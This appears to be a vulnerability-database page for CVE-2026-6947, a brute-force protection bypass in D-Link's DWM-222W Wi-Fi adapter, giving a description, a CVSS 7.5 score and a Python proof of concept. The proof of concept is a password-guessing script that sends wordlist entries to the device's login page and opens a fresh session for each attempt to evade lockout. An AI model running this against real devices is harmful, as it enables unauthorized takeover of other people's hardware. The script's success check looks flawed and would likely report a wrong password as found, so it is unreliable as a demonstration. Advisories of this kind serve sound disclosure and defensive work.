Security Vulnerability Report
中文
CVE-2026-6947 CVSS 7.5 HIGH

CVE-2026-6947

Published: 2026-04-24 04:16:23
Last Modified: 2026-05-19 15:52:30

Description

DWM-222W USB Wi-Fi Adapter developed by D-Link has a Brute-Force Protection Bypass vulnerability, allowing unauthenticated adjacent network attackers to bypass login attempt limits to perform brute-force attacks to gain control over the device.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

DWM-222W (具体受影响固件版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://192.168.0.1/login.php" username = "admin" password_file = "passwords.txt" # Headers to mimic a browser headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } def brute_force(target, user, wordlist): with open(wordlist, 'r') as f: for password in f: password = password.strip() # Data payload for login payload = { "username": user, "password": password } try: # Create a new session for each request to simulate bypassing session-based locks session = requests.Session() response = session.post(target, data=payload, headers=headers, timeout=5) # Check if login was successful (Adjust based on actual response) if "Welcome" in response.text or response.status_code == 200: print(f"[+] Success! Password found: {password}") return password else: print(f"[-] Failed: {password}") except requests.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": brute_force(target_url, username, password_file)

References

Raw JSON Data

JSON
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